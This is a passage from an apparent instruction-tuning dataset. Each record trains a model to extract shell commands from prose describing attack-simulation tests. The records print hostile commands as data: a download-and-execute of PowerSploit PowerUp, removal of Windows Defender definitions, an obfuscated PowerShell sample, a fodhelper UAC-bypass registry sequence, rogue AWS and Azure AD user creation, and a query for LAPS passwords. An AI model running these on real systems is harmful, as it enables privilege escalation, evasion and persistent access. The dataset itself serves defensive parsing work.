5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n This test performs a system restart on FreeBSD with the command: halt -r; You can reboot a Linux system with the command: halt --reboot", "output": "{\"command_list\": [\"halt -r\\n\", \"halt --reboot\\n\"]}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n To prevent ATP from firing for AntiMalware, you can remove definition files by running the following command: \"C:\\Program Files\\Windows Defender\\MpCmdRun.exe\" -RemoveDefinitions -All. Note that on Windows versions 1909 and later, this command may fail due to insufficient privileges even with admin rights, while older versions will show completion.; To stop and remove a Windows service, use the following commands: Stop-Service -Name #{service_name}\nRemove-Service -Name #{service_name}", "output": "{\"command_list\": [\"\\\"C:\\\\Program Files\\\\Windows Defender\\\\MpCmdRun.exe\\\" -RemoveDefinitions -All\\n\", \"Stop-Service -Name #{service_name}\\nRemove-Service -Name #{service_name}\\n\"]}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n From the 2021 Threat Detection Report by Red Canary, here's an example of an obfuscated command that outputs 'Hello, from PowerShell!', which can be run via: $cmDwhy =[TyPe](\"{0}{1}\" -f 'S','TrING') ; $pz2Sb0 =[TYpE](\"{1}{0}{2}\"-f'nv','cO','ert') ; &(\"{0}{2}{3}{1}{4}\" -f'In','SiO','vOKe-EXp','ReS','n') ( &(\"{1}{2}{0}\"-f'blE','gET-','vaRIA') ('CMdw'+'h'+'y')).\"v`ALUe\"::(\"{1}{0}\" -f'iN','jO').Invoke('',( (127, 162,151, 164,145 ,55 , 110 ,157 ,163 , 164 ,40,47, 110 , 145 ,154, 154 ,157 , 54 ,40, 146, 162 , 157,155 ,40, 120, 157 ,167,145 , 162 ,123,150 ,145 , 154 , 154 , 41,47)| .('%') { ( [CHAR] ( $Pz2sB0::\"t`OinT`16\"(( [sTring]${_}) ,8)))})) ); To simulate part of the Snake Malware's behavior as documented by CISA, execute this command which creates a specially named file with Hidden, System, and Archive attributes: $file = New-Item $env:windir\\registration\\04e53197-72be-4dd8-88b1-533fe6eed577.04e53197-72be-4dd8-88b1-533fe6eed577.crmlog; $file.Attributes = 'Hidden', 'System', 'Archive'; Write-Host \"File created: $($file.FullName)\"", "output": "{\"command_list\": [\"$cmDwhy =[TyPe](\\\"{0}{1}\\\" -f 'S','TrING') ; $pz2Sb0 =[TYpE](\\\"{1}{0}{2}\\\"-f'nv','cO','ert') ; &(\\\"{0}{2}{3}{1}{4}\\\" -f'In','SiO','vOKe-EXp','ReS','n') ( (&(\\\"{1}{2}{0}\\\"-f'blE','gET-','vaRIA') ('CMdw'+'h'+'y')).\\\"v`ALUe\\\"::(\\\"{1}{0}\\\" -f'iN','jO').Invoke('',( (127, 162,151, 164,145 ,55 , 110 ,157 ,163 , 164 ,40,47, 110 , 145 ,154, 154 ,157 , 54 ,40, 146, 162 , 157,155 ,40, 120, 157 ,167,145 , 162 ,123,150 ,145 , 154 , 154 , 41,47)| .('%') { ( [CHAR] ( $Pz2sB0::\\\"t`OinT`16\\\"(( [sTring]${_}) ,8)))})) )\\n\", \"$file = New-Item $env:windir\\\\registration\\\\04e53197-72be-4dd8-88b1-533fe6eed577.04e53197-72be-4dd8-88b1-533fe6eed577.crmlog; $file.Attributes = 'Hidden', 'System', 'Archive'; Write-Host \\\"File created: $($file.FullName)\\\"\\n\"]}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n This PowerShell script leverages Windows 10's Features on Demand Helper to bypass UAC, executing with the following commands that will launch a command prompt: New-Item \"HKCU:\\software\\classes\\ms-settings\\shell\\open\\command\" -Force\nNew-ItemProperty \"HKCU:\\software\\classes\\ms-settings\\shell\\open\\command\" -Name \"DelegateExecute\" -Value \"\" -Force\nSet-ItemProperty \"HKCU:\\software\\classes\\ms-settings\\shell\\open\\command\" -Name \"(default)\" -Value \"#{executable_binary}\" -Force\nStart-Process \"C:\\Windows\\System32\\fodhelper.exe\"; To bypass User Account Control on Windows 10 and open an administrative command prompt, use the following PowerShell commands: New-Item \"HKCU:\\software\\classes\\ms-settings\\shell\\open\\command\" -Force\nNew-ItemProperty \"HKCU:\\software\\classes\\ms-settings\\shell\\open\\command\" -Name \"DelegateExecute\" -Value \"\" -Force\nSet-ItemProperty \"HKCU:\\software\\classes\\ms-settings\\shell\\open\\command\" -Name \"(default)\" -Value \"#{executable_binary}\" -Force\nStart-Process \"C:\\Windows\\System32\\ComputerDefaults.exe\"", "output": "{\"command_list\": [\"New-Item \\\"HKCU:\\\\software\\\\classes\\\\ms-settings\\\\shell\\\\open\\\\command\\\" -Force\\nNew-ItemProperty \\\"HKCU:\\\\software\\\\classes\\\\ms-settings\\\\shell\\\\open\\\\command\\\" -Name \\\"DelegateExecute\\\" -Value \\\"\\\" -Force\\nSet-ItemProperty \\\"HKCU:\\\\software\\\\classes\\\\ms-settings\\\\shell\\\\open\\\\command\\\" -Name \\\"(default)\\\" -Value \\\"#{executable_binary}\\\" -Force\\nStart-Process \\\"C:\\\\Windows\\\\System32\\\\fodhelper.exe\\\"\\n\", \"New-Item \\\"HKCU:\\\\software\\\\classes\\\\ms-settings\\\\shell\\\\open\\\\command\\\" -Force\\nNew-ItemProperty \\\"HKCU:\\\\software\\\\classes\\\\ms-settings\\\\shell\\\\open\\\\command\\\" -Name \\\"DelegateExecute\\\" -Value \\\"\\\" -Force\\nSet-ItemProperty \\\"HKCU:\\\\software\\\\classes\\\\ms-settings\\\\shell\\\\open\\\\command\\\" -Name \\\"(default)\\\" -Value \\\"#{executable_binary}\\\" -Force\\nStart-Process \\\"C:\\\\Windows\\\\System32\\\\ComputerDefaults.exe\\\"\\n\"]}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n A new IAM user will be created in AWS, allowing malicious activity to go unnoticed, by executing the command: aws iam create-user --user-name #{username}\n; For persistent access without disrupting existing users, execute this command to create a new Azure AD user: Connect-AzureAD\n$userprincipalname = \"#{userprincipalname}\"\n$username = \"#{username}\" \n$password = \"#{password}\"\n$PasswordProfile = New-Object -TypeName Microsoft.Open.AzureAD.Model.PasswordProfile\n$PasswordProfile.Password = $password\nNew-AzureADUser -DisplayName $username -PasswordProfile $PasswordProfile -UserPrincipalName $userprincipalname -AccountEnabled $true -MailNickName $username ", "output": "{\"command_list\": [\"aws iam create-user --user-name #{username}\\n\", \"Connect-AzureAD\\n$userprincipalname = \\\"#{userprincipalname}\\\"\\n$username = \\\"#{username}\\\" \\n$password = \\\"#{password}\\\"\\n$PasswordProfile = New-Object -TypeName Microsoft.Open.AzureAD.Model.PasswordProfile\\n$PasswordProfile.Password = $password\\nNew-AzureADUser -DisplayName $username -PasswordProfile $PasswordProfile -UserPrincipalName $userprincipalname -AccountEnabled $true -MailNickName $username \"]}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n The specified service can be stopped and set to an inactive state, with the option to restart it afterward, via the command: sudo systemctl stop #{service_name}; If you need to stop a running service, execute this command which sends a termination signal: sudo killall -SIGTERM #{process_name}", "output": "{\"command_list\": [\"sudo systemctl stop #{service_name}\\n\", \"sudo killall -SIGTERM #{process_name}\\n\"]}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n This test performs an LDAP subtree search with the command: Get-adcomputer -SearchScope subtree -filter \"name -like '*'\" -Properties *, listing all properties including ms-mcs-AdmPwd and ms-mcs-AdmPwdExpirationTime.; This test runs an LDAP query with adfind, displaying all attributes 